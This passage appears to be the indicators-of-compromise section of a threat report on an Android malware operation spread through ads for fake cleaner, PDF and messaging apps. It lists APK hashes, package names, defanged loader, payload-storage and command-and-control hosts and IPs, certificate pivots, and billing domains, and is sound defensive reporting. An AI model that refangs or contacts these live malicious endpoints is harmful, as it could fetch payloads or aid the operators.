    APK: a62e4dff996e366aa138649a3451ce6a563e73b0f456c7f2ad5aaeba99f12e01

AI Cleaner certificate pivot - com.phonecleaner.aicleaner.junkcleaner.qmqhkr
    APK: 4d4ec634a6ddb497eb90b5eaa824cc0cacd878cba6143da19d7433ede888d397

Earlier PDF certificate pivot - com.pdfscanner.sgiwncl
    APK: df3cad997d5a286c1f3609acd0c436a8962baa4a4d6a9172ab8c46a140f6b4ca

Advertising campaign with a different implementation

  • Application: Colorful Message
  • Package: com.colorsms.poetry.messages
  • Base APK SHA-256: e624939f6a73e3bfce5587a2ba0c461363909dd31cf912b04f88a525aada71dd
  • ARM64 configuration split SHA-256: a6bb91620972efb5895291658d15e474428304d40421099efdd9b33072b5b57c
  • Policy endpoint: api.piaagt[.]click/view/colorful-messagee/home
  • Exact advertising image SHA-256: 7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284
  • Largest reused advertising file SHA-256: 90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861

Colorful Message is connected through exact advertising file reuse and the shared api.piaagt[.]click host, but its APK used a different hidden native implementation. These indicators should not be interpreted as evidence that it contained the same loader code.

The complete collection from the investigation contains 1235 unique Meta Ad Library IDs. Exact campaign advertising files also linked the following recovered packages to the distribution set, but these APK versions did not expose the operation loader:

Easy Messages Pro - com.smstext.easymessages.messengerpro - 15 ads
    base APK: ac181590a54dceda2e6b61bbd096943d2e122adb6cb855a8dbfbb4f2c9bdec43

Comic Reader - com.sth.grumb.plays - 4 ads
    base APK: 4be8f742726d57572332651fa91e07c010a25a92fd410446e87d486544bd6d11

We also identified the following advertised packages after their APKs had become unavailable, so no file hash could be recovered:

Application Package Ads
Light SMS com.chat.lightsms.messages.tmessaging 25
Easy Messages com.easymessages.textsms.messages 15
Display name unavailable com.trusted.pdfeditor.xnqala 11
Display name unavailable com.goconversation.motsms 10
Display name unavailable com.sms.mms.message.chat.onih 10
Display name unavailable com.purelyclean.puressd 7
Display name unavailable site.plmn.qazcaqzsw 4

Loader activation and policy infrastructure

api.bcvsri[.]link
api.sdbnxm[.]link
api.trixbn[.]link
api.fdghsn[.]link
api.fgsbns[.]link
api.ghdnbv[.]link
api.hsbdbv[.]link/mkds/cneu
api.ksbxnc[.]link
api.tehsnb[.]link/sabd/mckd
api.yandeb[.]link/cnjd/mckdjf
api.uhsbxh[.]link/ehed/mcdjd
api.evabunt[.]link/ywes/tmop
api.piaagt[.]click/foung/shrts
api.fuzwek[.]click/pekui/zzmer
api.vamko[.]click/edapsn/sewkx
api.swepqk[.]click/zleir/oyfen
api.piaagt[.]click/rumag/ksgpr
api.funtpjw[.]click/rumag/ksgpr
api.tegonp[.]click/ver1/textmg
api.merfunk[.]click/dafiv/taqmg
api.dokersxxnv[.]click/naizboa/bhbdxcm

Payload storage

boitim.oss-eu-west-2.aliyuncs[.]com/taoxe
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2115
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2116
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2124
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2132
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2145
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2150
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2154
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2155
msg.fastcleaa[.]link/xsW23Q5kk
bsmt.oss-ap-southeast-1.aliyuncs[.]com/af68

C2, fallback and reporting infrastructure

47.84.77[.]127 - Messenger Pro default payload C2
47.84.194[.]202/asnvoycs - targeted payload C2
47.84.193[.]174/j26j8vf7 - Phone Cleaner Master AqMu C2
47.84.57[.]5 - Phone Cleaner Master fallback
43.106.56[.]154 - PDF Scanner Art fallback
8.219.222[.]81 - Text Chat fallback
47.245.84[.]227 - Smart Clean fallback
47.84.66[.]120 - Frekas fallback
129.226.172[.]250 - shared fallback C2
47.84.188[.]213/abxy/relay - targeted payload relay (dormant capability)
api.appbhwljk[.]com/api/v3/wkev - shared event reporting endpoint
x.euono[.]com - French targeted payload landing and remote helper host
auezon[.]com - French targeted payload affiliate host

Passive infrastructure pivots

API host Aliyun load balancer Observed IP addresses
api.evabunt[.]link alb-htjwboeswuvyfbey5r.us-east-1.alb.aliyuncsslbintl[.]com 43.111.41[.]104, 47.85.93[.]229
api.piaagt[.]click alb-nyge1lm61a4q9joot5.us-east-1.alb.aliyuncsslbintl[.]com 47.90.133[.]78, 43.111.55[.]59
api.fuzwek[.]click alb-a53d7s5jp0wd9h0iam.us-east-1.alb.aliyuncsslbintl[.]com 47.85.176[.]98, 47.85.136[.]47
api.swepqk[.]click alb-k9ugfht8xgewgi1lrb.us-east-1.alb.aliyuncsslbintl[.]com 47.252.11[.]251, 47.90.139[.]92
api.vamko[.]click alb-kgoj9yc3iyv4znqtoc.us-east-1.alb.aliyuncsslbintl[.]com 47.85.160[.]112, 43.111.60[.]66

TLS pivots for API hosts used by the newly recovered builds are listed below. For the four newly recovered hosts, our passive dataset did not expose an Aliyun load balancer name:

API host Observed IP addresses TLS certificate SHA-256
api.piaagt[.]click 47.90.133[.]78, 43.111.55[.]59 114c6c6afb589ca659bcff51f3a81d748adaeb7c5f4ba900063ca528c59397ab
api.funtpjw[.]click 47.85.54[.]57, 47.85.210[.]65 8a083a4ffa3168df140cd4de41da67dddb3c5c840cf67e29c9af35c022c4b339
api.tegonp[.]click 43.111.31[.]36, 47.85.212[.]169 0625d00bc1b91a22fb16b40872952fda573372aacaed7bd1aa455f4ad1b41e38
api.merfunk[.]click 47.85.86[.]6, 47.253.250[.]144 3f9e594682d10896073bc083a024ea4b2b68b512d17eafe3e8510b000d657e89
api.dokersxxnv[.]click 47.253.204[.]73, 47.253.180[.]31 ce6a7084bf7a93fb5547b2e474bbad87ddd343f40a296124b6d83203040cfcb9
  • Reused TLS certificate SHA-256: 5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6
  • Certificate subject: ablefee[.]wiki
  • Other endpoints presenting the certificate: 43.98.201[.]44, 43.106.58[.]250, 8.219.222[.]81, 47.245.84[.]227, 47.84.66[.]120

ablefee[.]wiki is a passive certificate pivot. It was not contacted by Messenger Pro and does not appear in its code.

Polish billing and affiliate infrastructure

nmx4e6qj[.]com
ua.forward-tv[.]net
lp.ooxxporn[.]net
dcb.teleaudio[.]pl
consulate.teleaudio[.]pl
epayment.teleaudio[.]pl
aff.odyss[.]club
izy0[.]com

These domains were observed in work assigned by the C2. Presence in this list does not establish that a domain is controlled by the malware operator.

Share: